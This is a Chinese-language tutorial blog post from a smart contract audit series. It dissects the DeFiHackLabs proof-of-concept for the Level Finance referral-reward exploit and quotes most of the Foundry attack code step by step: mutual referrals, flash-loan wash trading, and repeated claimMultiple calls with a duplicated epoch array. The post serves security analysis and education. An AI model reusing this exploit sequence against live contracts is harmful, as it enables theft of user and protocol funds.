iT邦幫忙

2026 iThome 鐵人賽

DAY 11
0
Security

從 Detect 到 Proof:智慧合約審計工具實戰系列 第 11 篇

Day 11|拆解 Level Finance 的 PoC

  • 分享至 

  • xImage
  •  

Day 7 講 Level Finance 的時候,只說了 DeFiHackLabs 把根因記成「陣列沒有檢查重複元素」,還有 PoC 會用一個長度 2000 的陣列去領獎勵。這篇回頭把整份 Level Finance PoC 一段一段看完,看攻擊者從頭到尾做了哪些事。

檔案開頭

PoC 開頭的註解先交代了這起事件的資料:

// @Analysis
// https://twitter.com/peckshield/status/1653149493133729794
// https://twitter.com/BlockSecTeam/status/1653267431127920641
// @TX
// https://bscscan.com/tx/0x6aef8bb501a53e290837d4398b34d5d4d881267512cfe78eb9ba7e59f41dad04
// https://bscscan.com/tx/0xe1f257041872c075cbe6a1212827bc346df3def6d01a07914e4006ec43027165
// @Summary
// Lack of checking for duplicate elements in arrays

@Analysis 是 PeckShield 和 BlockSec 當時的分析,@TX 是兩筆攻擊交易,@Summary 就是 DeFiHackLabs 記的根因。DeFiHackLabs 的 PoC 大多都有這幾欄,想追原始資料可以從這裡開始。

setUp:回到事發當時

function setUp() public {
    cheats.createSelectFork("bsc", 27_830_139);
    ...
}

createSelectFork 會把 BSC 在區塊 27,830,139 的狀態 fork 下來,測試就跑在那個時間點的鏈上。所以 PoC 裡呼叫的 LevelReferralControllerV2、pool、DODO 都是鏈上真的合約,不是自己寫的。也因為這樣,要跑這份 PoC 需要一個能讀歷史狀態的 BSC RPC。

三個合約

PoC 裡有三個合約:

  • ContractTest:攻擊主體,也是測試本身。
  • Exploiter:第二個攻擊帳戶。它的 constructor 會把 ContractTest 設成自己的 referrer。
  • Referral:只有一個 constructor,呼叫 setReferrer 把某個地址設成自己的 referrer,之後就沒用了。

LevelReferralControllerV2 是 Level Finance 的轉介紹獎勵合約,被轉介紹的人交易越多,referrer 能領的獎勵就越多。這三個合約都是為了在這套規則裡,替攻擊者製造出轉介紹關係和交易量。

testExploit:整個流程

function testExploit() external {
    deal(address(WBNB), address(this), 95 * 1e18);
    exploiter = new Exploiter(address(this));
    LevelReferralControllerV2.setReferrer(address(exploiter));
    createReferral();
    WashTrading();
    vm.warp(block.timestamp + 1 * 60 * 60);
    vm.startPrank(0x6023C6afa26a68E05672F111FdbB1De93cBAc621);
    LevelReferralControllerV2.setEnableNextEpoch(true);
    LevelReferralControllerV2.nextEpoch();
    vm.stopPrank();
    vm.warp(block.timestamp + 60 * 60);
    claim();
    vm.warp(block.timestamp + 5 * 60 * 60);
    for (uint256 i; i < 11; i++) {
        claimReward(2000);
        vm.warp(block.timestamp + i * 15);
    }
    ...
}

照順序拆開來看。

1. 準備本金和轉介紹關係

deal 是 Foundry 的 cheatcode,直接給 ContractTest 95 顆 WBNB 當本金。

接著部署 Exploiter,Exploiter 把 ContractTest 設成 referrer;ContractTest 再把 Exploiter 設成自己的 referrer。兩個帳戶互相轉介紹。

createReferral() 再各部署 15 個 Referral,分別掛在 Exploiter 和 ContractTest 底下:

function createReferral() internal {
    for (uint256 i; i < 15; i++) {
        new Referral(address(exploiter));
    }
    for (uint256 i; i < 15; i++) {
        new Referral(address(this));
    }
}

2. 用閃電貸洗交易量

function WashTrading() internal {
    DVM(dodo).flashLoan(300 * 1e18, 0, address(this), abi.encode(uint256(20)));
}

跟 DODO 借 300 顆 WBNB。DODO 把錢轉過來之後,會回呼 DPPFlashLoanCall:

for (uint256 i; i < amount; i++) {
    WBNB.transfer(address(pool), WBNB.balanceOf(address(this)));
    pool.swap(address(WBNB), address(USDT), 1, address(this), abi.encode(address(exploiter)));
    USDT.transfer(address(pool), USDT.balanceOf(address(this)));
    pool.swap(address(USDT), address(WBNB), 1, address(this), abi.encode(address(exploiter)));
}
WBNB.transfer(address(exploiter), WBNB.balanceOf(address(this)));
exploiter.swap(20);
WBNB.transfer(dodo, 300 * 1e18);

在 Level Finance 的 pool 把全部的 WBNB 換成 USDT,再換回來,重複 20 次。swap 最後一個參數帶的是 exploiter 的地址,這筆交易量會算在轉介紹關係上。

做完之後把 WBNB 全部轉給 Exploiter,換它用同樣方式來回換 20 次,最後把 300 顆 WBNB 還給 DODO。

這一步不是為了賺價差,來回換只會被收手續費。攻擊者要的是交易量,交易量越大,轉介紹獎勵就越多。

3. 進到下一個 epoch

vm.warp(block.timestamp + 1 * 60 * 60);
vm.startPrank(0x6023C6afa26a68E05672F111FdbB1De93cBAc621);
LevelReferralControllerV2.setEnableNextEpoch(true);
LevelReferralControllerV2.nextEpoch();
vm.stopPrank();

vm.warp 把時間往後調一小時,vm.startPrank 假扮成 0x6023…c621 這個地址,呼叫 setEnableNextEpoch 和 nextEpoch。

這段是 PoC 在模擬 epoch 自然結束,讓剛剛那一期的獎勵變成可以領。真實攻擊裡,攻擊者不會有這個地址的權限,是等 epoch 正常結束。

4. 先正常領一次

function claim() internal {
    LevelReferralControllerV2.claimable(13, address(this));
    uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
    LevelReferralControllerV2.claim(tokenID, address(this));
    exploiter.claim(tokenID);
}

currentEpoch() - 1 是上一期,也就是剛剛洗完交易量的那一期。ContractTest 和 Exploiter 各用 claim 正常領了一次。

5. 重複領

function claimReward(uint256 amount) internal {
    uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
    uint256[] memory _epoches = new uint256[](amount);
    for (uint256 i; i < amount; i++) {
        _epoches[i] = tokenID;
    }
    LevelReferralControllerV2.claimable(_epoches[0], address(this));
    LevelReferralControllerV2.claimMultiple(_epoches, address(this));
    exploiter.claimMultiple(amount);
}

做一個長度 2000 的陣列,2000 個元素全部是同一期。ContractTest 用這個陣列呼叫 claimMultiple,Exploiter.claimMultiple 也用同樣的方式再領一次。

testExploit 把 claimReward(2000) 放在迴圈裡跑了 11 次,每次中間把時間往後調一點。

漏洞就在這一步。前面四步都是一般使用者也做得到的事:綁轉介紹、交易、等 epoch 結束、領獎勵。只有這一步把同一期塞進陣列 2000 次。

從 PoC 看得到、看不到的

PoC 能證明的是:在區塊 27,830,139 的狀態下,照這個順序呼叫,攻擊者的 LVL 餘額會增加。測試最後會印出 Attacker LVL Token balance after exploit。

PoC 本身只呼叫 LevelReferralControllerV2,看不到它裡面怎麼寫。鏈上被攻擊的是 proxy 0x9770…063a 後面的實作合約 0x0e6d6c…,驗證過的原始碼可以在 BscScan 上看到。它的 claimMultiple 長這樣:

function claimMultiple(uint256[] calldata _epoches, address _to) external {
    uint256 totalReward;
    for (uint256 i = 0; i < _epoches.length; ++i) {
        uint256 epoch = _epoches[i];
        if (epoch < currentEpoch) {
            uint256 reward = claimable(epoch, msg.sender);
            if (reward > 0) {
                users[epoch][msg.sender].claimed += reward;
                totalReward += reward;
                emit Claimed(epoch, _to, reward);
            }
        }
    }

    LVL.safeTransfer(_to, totalReward);
}

_epoches 確實沒有檢查重複。但只看這段會覺得奇怪:每領一次就 claimed += reward,而 claimable 最後回傳的是 reward - user.claimed,照理說同一個 epoch 第二次進迴圈應該算出 0,第 4 步已經用 claim 正常領過一次,後面也應該領不到。

可是 PoC 真的領到了。所以「沒有檢查重複」只說了一半,另一半要實際把 PoC 跑起來,看 trace 裡每一次 claimable 回傳了多少,才看得清楚。

另外,整個流程裡跟漏洞直接有關的只有第 5 步。第 1、2 步決定能領多少,第 3 步是 PoC 為了在 fork 上重現而加的。之後幾天寫測試,重點都會放在第 5 步。

明日預告

將把 PoC 跑起來,看 trace 裡重複的 epoch 每一次 claimable 回傳多少,找出 claimed 為什麼沒擋住。

參考資料


上一篇
Day 10|找到問題之後,如何記錄?
下一篇
Day 12 | 測試通過,代表沒問題嗎?
系列文
從 Detect 到 Proof:智慧合約審計工具實戰 共 14 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言